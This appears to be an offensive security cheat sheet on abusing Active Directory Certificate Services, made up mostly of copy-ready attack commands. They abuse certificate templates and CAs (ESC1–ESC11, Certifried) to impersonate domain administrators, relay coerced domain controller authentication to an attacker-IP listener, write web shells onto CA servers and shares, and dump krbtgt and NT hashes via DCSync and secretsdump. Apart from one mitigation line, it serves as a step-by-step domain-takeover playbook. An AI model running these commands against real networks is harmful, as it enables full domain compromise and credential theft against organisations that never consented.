23 KiB
Active Directory - Certificate Services
Active Directory Certificate Services (AD CS) is a Microsoft Windows server role that provides a public key infrastructure (PKI). It allows you to create, manage, and distribute digital certificates, which are used to secure communication and transactions across a network.
ADCS Enumeration
- crackmapexec:
crackmapexec ldap domain.lab -u username -p password -M adcs
- ldapsearch:
ldapsearch -H ldap://dc_IP -x -LLL -D 'CN=<user>,OU=Users,DC=domain,DC=local' -w '<password>' -b "CN=Enrollment Services,CN=Public Key Services,CN=Services,CN=CONFIGURATION,DC=domain,DC=local" dNSHostName
- certutil:
certutil.exe -config - -ping
,certutil -dump
ESC1 - Misconfigured Certificate Templates
Domain Users can enroll in the VulnTemplate template, which can be used for client authentication and has ENROLLEE_SUPPLIES_SUBJECT set. This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA). Allows additional identities to be bound to a certificate beyond the Subject.
Requirements
- Template that allows for AD authentication
- ENROLLEE_SUPPLIES_SUBJECT flag
- [PKINIT] Client Authentication, Smart Card Logon, Any Purpose, or No EKU (Extended/Enhanced Key Usage)
Exploitation
- Use Certify.exe to see if there are any vulnerable templates
Certify.exe find /vulnerable Certify.exe find /vulnerable /currentuser # or PS> Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))' -SearchBase 'CN=Configuration,DC=lab,DC=local' # or certipy 'domain.local'/'user':'password'@'domaincontroller' find -bloodhound # or python bloodyAD.py -u john.doe -p 'Password123!' --host 192.168.100.1 -d bloody.lab get search --base 'CN=Configuration,DC=lab,DC=local' --filter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=1.3.6.1.4.1.311.20.2.2)(pkiextendedkeyusage=1.3.6.1.5.5.7.3.2) (pkiextendedkeyusage=1.3.6.1.5.2.3.4))(mspki-certificate-name-flag:1.2.840.113556.1.4.804:=1))'
- Use Certify, Certi or Certipy to request a Certificate and add an alternative name (user to impersonate)
# request certificates for the machine account by executing Certify with the "/machine" argument from an elevated command prompt. Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:VulnTemplate /altname:domadmin certi.py req 'contoso.local/Anakin@dc01.contoso.local' contoso-DC01-CA -k -n --alt-name han --template UserSAN certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC1' -alt 'administrator@corp.local'
- Use OpenSSL and convert the certificate, do not enter a password
openssl pkcs12 -in cert.pem -keyex -CSP "Microsoft Enhanced Cryptographic Provider v1.0" -export -out cert.pfx
- Move the cert.pfx to the target machine filesystem and request a TGT for the altname user using Rubeus
Rubeus.exe asktgt /user:domadmin /certificate:C:\Temp\cert.pfx
WARNING: These certificates will still be usable even if the user or computer resets their password!
NOTE: Look for EDITF_ATTRIBUTESUBJECTALTNAME2, CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT, ManageCA flags, and NTLM Relay to AD CS HTTP Endpoints.
ESC2 - Misconfigured Certificate Templates
Requirements
- Allows requesters to specify a Subject Alternative Name (SAN) in the CSR as well as allows Any Purpose EKU (2.5.29.37.0)
Exploitation
- Find template
PS > Get-ADObject -LDAPFilter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))' -SearchBase 'CN=Configuration,DC=megacorp,DC=local' # or python bloodyAD.py -u john.doe -p 'Password123!' --host 192.168.100.1 -d bloody.lab get search --base 'CN=Configuration,DC=megacorp,DC=local' --filter '(&(objectclass=pkicertificatetemplate)(!(mspki-enrollment-flag:1.2.840.113556.1.4.804:=2))(|(mspki-ra-signature=0)(!(mspki-ra-signature=*)))(|(pkiextendedkeyusage=2.5.29.37.0)(!(pkiextendedkeyusage=*))))'
- Request a certificate specifying the
/altname
as a domain admin like in ESC1.
ESC3 - Misconfigured Enrollment Agent Templates
ESC3 is when a certificate template specifies the Certificate Request Agent EKU (Enrollment Agent). This EKU can be used to request certificates on behalf of other users
- Request a certificate based on the vulnerable certificate template ESC3.
$ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC3' [*] Saved certificate and private key to 'john.pfx'
- Use the Certificate Request Agent certificate (-pfx) to request a certificate on behalf of other another user
$ certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'User' -on-behalf-of 'corp\administrator' -pfx 'john.pfx'
ESC4 - Access Control Vulnerabilities
Enabling the
mspki-certificate-name-flag
flag for a template that allows for domain authentication, allow attackers to "push a misconfiguration to a template leading to ESC1 vulnerability
- Search for
WriteProperty
with value00000000-0000-0000-0000-000000000000
using modifyCertTemplatepython3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -get-acl
- Add the
ENROLLEE_SUPPLIES_SUBJECT
(ESS) flag to perform ESC1python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -add enrollee_supplies_subject -property mspki-Certificate-Name-Flag # Add/remove ENROLLEE_SUPPLIES_SUBJECT flag from the WebServer template. C:\>StandIn.exe --adcs --filter WebServer --ess --add
- Perform ESC1 and then restore the value
python3 modifyCertTemplate.py domain.local/user -k -no-pass -template user -dc-ip 10.10.10.10 -value 0 -property mspki-Certificate-Name-Flag
Using Certipy
# overwrite the configuration to make it vulnerable to ESC1
certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -save-old
# request a certificate based on the ESC4 template, just like ESC1.
certipy req 'corp.local/john:Passw0rd!@ca.corp.local' -ca 'corp-CA' -template 'ESC4' -alt 'administrator@corp.local'
# restore the old configuration
certipy template 'corp.local/johnpc$@ca.corp.local' -hashes :fc525c9683e8fe067095ba2ddc971889 -template 'ESC4' -configuration ESC4.json
ESC6 - EDITF_ATTRIBUTESUBJECTALTNAME2
If this flag is set on the CA, any request (including when the subject is built from Active Directory) can have user defined values in the subject alternative name.
Exploitation
- Use Certify.exe to check for UserSpecifiedSAN flag state which refers to the
EDITF_ATTRIBUTESUBJECTALTNAME2
flag.Certify.exe cas
- Request a certificate for a template and add an altname, even though the default
User
template doesn't normally allow to specify alternative names.\Certify.exe request /ca:dc.domain.local\domain-DC-CA /template:User /altname:DomAdmin
Mitigation
- Remove the flag:
certutil.exe -config "CA01.domain.local\CA01" -setreg "policy\EditFlags" -EDITF_ATTRIBUTESUBJECTALTNAME2
ESC7 - Vulnerable Certificate Authority Access Control
Exploitation
- Detect CAs that allow low privileged users the
ManageCA
orManage Certificates
permissionsCertify.exe find /vulnerable
- Change the CA settings to enable the SAN extension for all the templates under the vulnerable CA (ESC6)
Certify.exe setconfig /enablesan /restart
- Request the certificate with the desired SAN.
Certify.exe request /template:User /altname:super.adm
- Grant approval if required or disable the approval requirement
# Grant Certify.exe issue /id:[REQUEST ID] # Disable Certify.exe setconfig /removeapproval /restart
Alternative exploitation from ManageCA to RCE on ADCS server:
# Get the current CDP list. Useful to find remote writable shares:
Certify.exe writefile /ca:SERVER\ca-name /readonly
# Write an aspx shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:C:\Windows\SystemData\CES\CA-Name\shell.aspx /input:C:\Local\Path\shell.aspx
# Write the default asp shell to a local web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:c:\inetpub\wwwroot\shell.asp
# Write a php shell to a remote web directory:
Certify.exe writefile /ca:SERVER\ca-name /path:\\remote.server\share\shell.php /input:C:\Local\path\shell.php
ESC8 - AD CS Relay Attack
An attacker can trigger a Domain Controller using PetitPotam to NTLM relay credentials to a host of choice. The Domain Controller’s NTLM Credentials can then be relayed to the Active Directory Certificate Services (AD CS) Web Enrollment pages, and a DC certificate can be enrolled. This certificate can then be used to request a TGT (Ticket Granting Ticket) and compromise the entire domain through Pass-The-Ticket.
Require Impacket PR #1101
-
Version 1: NTLM Relay + Rubeus + PetitPotam
impacket> python3 ntlmrelayx.py -t http://<ca-server>/certsrv/certfnsh.asp -smb2support --adcs impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template VulnTemplate # For a member server or workstation, the template would be "Computer". # Other templates: workstation, DomainController, Machine, KerberosAuthentication # Coerce the authentication via MS-ESFRPC EfsRpcOpenFileRaw function with petitpotam # You can also use any other way to coerce the authentication like PrintSpooler via MS-RPRN git clone https://github.com/topotam/PetitPotam python3 petitpotam.py -d $DOMAIN -u $USER -p $PASSWORD $ATTACKER_IP $TARGET_IP python3 petitpotam.py -d '' -u '' -p '' $ATTACKER_IP $TARGET_IP python3 dementor.py <listener> <target> -u <username> -p <password> -d <domain> python3 dementor.py 10.10.10.250 10.10.10.10 -u user1 -p Password1 -d lab.local # Use the certificate with rubeus to request a TGT Rubeus.exe asktgt /user:<user> /certificate:<base64-certificate> /ptt Rubeus.exe asktgt /user:dc1$ /certificate:MIIRdQIBAzC...mUUXS /ptt # Now you can use the TGT to perform a DCSync mimikatz> lsadump::dcsync /user:krbtgt
-
Version 2: NTLM Relay + Mimikatz + Kekeo
impacket> python3 ./examples/ntlmrelayx.py -t http://10.10.10.10/certsrv/certfnsh.asp -smb2support --adcs --template DomainController # Mimikatz mimikatz> misc::efs /server:dc.lab.local /connect:<IP> /noauth # Kekeo kekeo> base64 /input:on kekeo> tgt::ask /pfx:<BASE64-CERT-FROM-NTLMRELAY> /user:dc$ /domain:lab.local /ptt # Mimikatz mimikatz> lsadump::dcsync /user:krbtgt
-
Version 3: Kerberos Relay
# Setup the relay sudo krbrelayx.py --target http://CA/certsrv -ip attacker_IP --victim target.domain.local --adcs --template Machine # Run mitm6 sudo mitm6 --domain domain.local --host-allowlist target.domain.local --relay CA.domain.local -v
-
Version 4: ADCSPwn - Require
WebClient
service running on the domain controller. By default this service is not installed.https://github.com/bats3c/ADCSPwn adcspwn.exe --adcs <cs server> --port [local port] --remote [computer] adcspwn.exe --adcs cs.pwnlab.local adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --port 9001 adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --output C:\Temp\cert_b64.txt adcspwn.exe --adcs cs.pwnlab.local --remote dc.pwnlab.local --username pwnlab.local\mranderson --password The0nly0ne! --dc dc.pwnlab.local # ADCSPwn arguments adcs - This is the address of the AD CS server which authentication will be relayed to. secure - Use HTTPS with the certificate service. port - The port ADCSPwn will listen on. remote - Remote machine to trigger authentication from. username - Username for non-domain context. password - Password for non-domain context. dc - Domain controller to query for Certificate Templates (LDAP). unc - Set custom UNC callback path for EfsRpcOpenFileRaw (Petitpotam) . output - Output path to store base64 generated crt.
-
Version 5: Certipy ESC8
certipy relay -ca 172.16.19.100
ESC9 - No Security Extension
Requirements
StrongCertificateBindingEnforcement
set to1
(default) or0
- Certificate contains the
CT_FLAG_NO_SECURITY_EXTENSION
flag in themsPKI-Enrollment-Flag
value - Certificate specifies
Any Client
authentication EKU GenericWrite
over any account A to compromise any account B
Scenario
John@corp.local has GenericWrite over Jane@corp.local, and we want to compromise Administrator@corp.local. Jane@corp.local is allowed to enroll in the certificate template ESC9 that specifies the CT_FLAG_NO_SECURITY_EXTENSION flag in the msPKI-Enrollment-Flag value.
- Obtain the hash of Jane with Shadow Credentials (using our GenericWrite)
certipy shadow auto -username John@corp.local -p Passw0rd -account Jane
- Change the userPrincipalName of Jane to be Administrator. ⚠️ leave the
@corp.local
partcertipy account update -username John@corp.local -password Passw0rd -user Jane -upn Administrator
- Request the vulnerable certificate template ESC9 from Jane's account.
certipy req -username jane@corp.local -hashes ... -ca corp-DC-CA -template ESC9 # userPrincipalName in the certificate is Administrator # the issued certificate contains no "object SID"
- Restore userPrincipalName of Jane to Jane@corp.local.
certipy account update -username John@corp.local -password Passw0rd -user Jane@corp.local
- Authenticate with the certificate and receive the NT hash of the Administrator@corp.local user.
certipy auth -pfx administrator.pfx -domain corp.local # Add -domain <domain> to your command line since there is no domain specified in the certificate.
ESC11 - Relaying NTLM to ICPR
Encryption is not enforced for ICPR requests and Request Disposition is set to Issue
Requirements:
- sploutchy/Certipy - Certipy fork
- sploutchy/impacket - Impacket fork
Exploitation:
- Look for
Enforce Encryption for Requests: Disabled
incertipy find -u user@dc1.lab.local -p 'REDACTED' -dc-ip 10.10.10.10 -stdout
output - Setup a relay using Impacket ntlmrelay and trigger a connection to it.
ntlmrelayx.py -t rpc://10.10.10.10 -rpc-mode ICPR -icpr-ca-name lab-DC-CA -smb2support
Certifried CVE-2022-26923
An authenticated user could manipulate attributes on computer accounts they own or manage, and acquire a certificate from Active Directory Certificate Services that would allow elevation of privilege.
- Find
ms-DS-MachineAccountQuota
bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 get object 'DC=lab,DC=local' ms-DS-MachineAccountQuota
- Add a new computer in the Active Directory, by default
MachineAccountQuota = 10
bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 add computer cve 'CVEPassword1234*' certipy account create 'lab.local/username:Password123*@dc.lab.local' -user 'cve' -dns 'dc.lab.local'
- [ALTERNATIVE] If you are
SYSTEM
and theMachineAccountQuota=0
: Use a ticket for the current machine and reset its SPNRubeus.exe tgtdeleg export KRB5CCNAME=/tmp/ws02.ccache bloodyAD -d lab.local -u 'ws02$' -k --host dc.lab.local set object 'CN=ws02,CN=Computers,DC=lab,DC=local' servicePrincipalName
- Set the
dNSHostName
attribute to match the Domain Controller hostnamebloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 set object 'CN=cve,CN=Computers,DC=lab,DC=local' dNSHostName -v DC.lab.local bloodyAD -d lab.local -u username -p 'Password123*' --host 10.10.10.10 get object 'CN=cve,CN=Computers,DC=lab,DC=local' --attr dNSHostName
- Request a ticket
# certipy req 'domain.local/cve$:CVEPassword1234*@ADCS_IP' -template Machine -dc-ip DC_IP -ca discovered-CA certipy req 'lab.local/cve$:CVEPassword1234*@10.100.10.13' -template Machine -dc-ip 10.10.10.10 -ca lab-ADCS-CA
- Either use the pfx or set a RBCD on your machine account to takeover the domain
certipy auth -pfx ./dc.pfx -dc-ip 10.10.10.10 openssl pkcs12 -in dc.pfx -out dc.pem -nodes bloodyAD -d lab.local -c ":dc.pem" -u 'cve$' --host 10.10.10.10 add rbcd 'CRASHDC$' 'CVE$' getST.py -spn LDAP/CRASHDC.lab.local -impersonate Administrator -dc-ip 10.10.10.10 'lab.local/cve$:CVEPassword1234*' secretsdump.py -user-status -just-dc-ntlm -just-dc-user krbtgt 'lab.local/Administrator@dc.lab.local' -k -no-pass -dc-ip 10.10.10.10 -target-ip 10.10.10.10
Pass-The-Certificate
Pass the Certificate in order to get a TGT, this technique is used in "UnPAC the Hash" and "Shadow Credential"
- Windows
# Information about a cert file certutil -v -dump admin.pfx # From a Base64 PFX Rubeus.exe asktgt /user:"TARGET_SAMNAME" /certificate:cert.pfx /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show # Grant DCSync rights to an user ./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --sid <user_SID> # To restore ./PassTheCert.exe --server dc.domain.local --cert-path C:\cert.pfx --elevate --target "DC=domain,DC=local" --restore restoration_file.txt
- Linux
# Base64-encoded PFX certificate (string) (password can be set) gettgtpkinit.py -pfx-base64 $(cat "PATH_TO_B64_PFX_CERT") "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE" # PEM certificate (file) + PEM private key (file) gettgtpkinit.py -cert-pem "PATH_TO_PEM_CERT" -key-pem "PATH_TO_PEM_KEY" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE" # PFX certificate (file) + password (string, optionnal) gettgtpkinit.py -cert-pfx "PATH_TO_PFX_CERT" -pfx-pass "CERT_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE" # Using Certipy certipy auth -pfx "PATH_TO_PFX_CERT" -dc-ip 'dc-ip' -username 'user' -domain 'domain' certipy cert -export -pfx "PATH_TO_PFX_CERT" -password "CERT_PASSWORD" -out "unprotected.pfx"
UnPAC The Hash
Using the UnPAC The Hash method, you can retrieve the NT Hash for an User via its certificate.
- Windows
# Request a ticket using a certificate and use /getcredentials to retrieve the NT hash in the PAC. Rubeus.exe asktgt /getcredentials /user:"TARGET_SAMNAME" /certificate:"BASE64_CERTIFICATE" /password:"CERTIFICATE_PASSWORD" /domain:"FQDN_DOMAIN" /dc:"DOMAIN_CONTROLLER" /show
- Linux
# Obtain a TGT by validating a PKINIT pre-authentication $ gettgtpkinit.py -cert-pfx "PATH_TO_CERTIFICATE" -pfx-pass "CERTIFICATE_PASSWORD" "FQDN_DOMAIN/TARGET_SAMNAME" "TGT_CCACHE_FILE" # Use the session key to recover the NT hash $ export KRB5CCNAME="TGT_CCACHE_FILE" getnthash.py -key 'AS-REP encryption key' 'FQDN_DOMAIN'/'TARGET_SAMNAME'
References
- Certified Pre-Owned - Will Schroeder and Lee Christensen - June 17, 2021
- Certified Pre-Owned Abusing Active Directory Certificate Services - @harmj0y @tifkin_
- Certified Pre-Owned - Will Schroeder - Jun 17 2021
- Microsoft ADCS – Abusing PKI in Active Directory Environment - Jean MARSAULT - 14/06/2021
- NTLM relaying to AD CS - On certificates, printers and a little hippo - Dirk-jan Mollema
- AD CS/PKI template exploit via PetitPotam and NTLMRelayx, from 0 to DomainAdmin in 4 steps by frank | Jul 23, 2021
- ADCS: Playing with ESC4 - Matthew Creel
- AD CS: weaponizing the ESC7 attack - Kurosh Dabbagh - 26 January, 2022
- AD CS: from ManageCA to RCE - 11 February, 2022 - Pablo Martínez, Kurosh Dabbagh
- Certifried: Active Directory Domain Privilege Escalation (CVE-2022–26923) - Oliver Lyak
- UnPAC the hash - The Hacker Recipes
- AD CS relay attack - practical guide - 23 Jun 2021 - @exandroiddev
- Relaying to AD Certificate Services over RPC - NOVEMBER 16, 2022 - SYLVAIN HEINIGER
- bloodyAD and CVE-2022-26923 - soka - 11 May 2022
- Certificates and Pwnage and Patches, Oh My! - Will Schroeder - Nov 9, 2022
- Certificate templates - The Hacker Recipes
- CA configuration - The Hacker Recipes
- Access controls - The Hacker Recipes
- Web endpoints - The Hacker Recipes